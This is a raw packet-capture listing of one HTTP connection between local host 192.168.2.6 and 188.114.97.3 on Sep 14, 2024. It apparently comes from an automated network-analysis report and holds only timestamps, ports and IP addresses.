Sep 14, 2024 18:44:11.041783094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041806936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041815996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041851997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041872978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041887999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041920900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041937113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041956902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041995049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042011023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042028904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042074919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042077065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042109966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042141914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042157888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042179108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042215109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042232990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042248964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042280912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042294979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042319059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042352915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042366982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042403936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042437077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042458057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042470932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042505980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042517900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042540073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042574883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042591095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042610884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042639017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042659998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042670965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042704105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042716026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042740107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042787075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042794943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042845964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042877913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042900085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042910099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042946100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.042958975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.042979002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043011904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043026924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043042898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043076038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043090105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043112993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043145895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043159008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043179035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043212891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043226004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043245077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043284893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043293953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043317080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043356895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043363094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043411016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043443918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043459892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043479919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043514013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043524981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043541908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043574095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043593884 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043606043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043633938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043656111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043664932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043697119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043711901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043729067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043761969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043776035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043793917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043826103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043839931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043858051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043889999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043906927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043922901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043955088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.043973923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.043987036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.044018984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.044034958 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.044050932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.044083118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.044100046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.085645914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085681915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085727930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.085735083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085771084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085808992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085809946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.085846901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085861921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.085880995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085917950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.085931063 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.087477922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087533951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087541103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.087580919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087615013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087646008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087673903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.087682009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087696075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.087721109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087754011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.087759972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.088851929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.088903904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.088913918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.088939905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.088990927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.089026928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.089035034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.089061022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.089075089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.089095116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.089127064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.089169979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129055977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129089117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129127979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129139900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129177094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129193068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129228115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129261017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129298925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129307985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129337072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129367113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129421949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129461050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129493952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129523993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129539967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129717112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129749060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129781008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129792929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129817009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129875898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129908085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129911900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129940033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.129952908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.129977942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130012035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130027056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130044937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130083084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130088091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130131960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130163908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130177021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130196095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130234003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130266905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130275965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130299091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130336046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130347013 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130373001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130379915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130404949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130436897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130450010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130511045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130543947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130558014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130583048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130616903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130666018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130670071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130703926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130753994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130764008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130791903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130804062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130846024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130894899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130928040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130942106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130960941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.130966902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.130990028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131025076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131037951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131062031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131100893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131134033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131154060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131166935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131174088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131207943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131241083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131273031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131304979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131299019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131313086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131340981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131375074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131428003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131439924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131469965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131503105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131515980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131546021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131535053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131606102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131639957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131653070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131671906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131705046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131741047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131746054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131774902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131808043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131818056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131839991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131853104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131871939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131907940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131941080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.131951094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.131973028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132005930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132015944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132040024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132054090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132072926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132105112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132141113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132157087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132174969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132179976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132206917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132239103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132276058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132283926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132308960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132340908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132354975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132371902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132385969 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132405996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132437944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132462025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132469893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132503986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132536888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132550001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132570028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132584095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132601976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.132648945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.132673979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174309015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174371958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174428940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174462080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174514055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174514055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.174514055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.174550056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174587011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174618006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.174639940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.176160097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176192999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176229954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176240921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.176280975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.176316977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176348925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176383018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176399946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.176418066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.176542997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.178019047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.178195000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.178246021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.178327084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.178930044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.178961992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.179085970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.179094076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.179128885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.179145098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.179157972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.179377079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.217664957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217735052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217788935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217822075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217854977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217885017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.217888117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217885017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.217922926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217957973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.217992067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218029976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218065023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218091965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218101978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218157053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218162060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218189955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218225956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218266964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.218276978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218314886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218364954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.218372107 CEST	49722	80	192.168.2.6	188.114.97.3
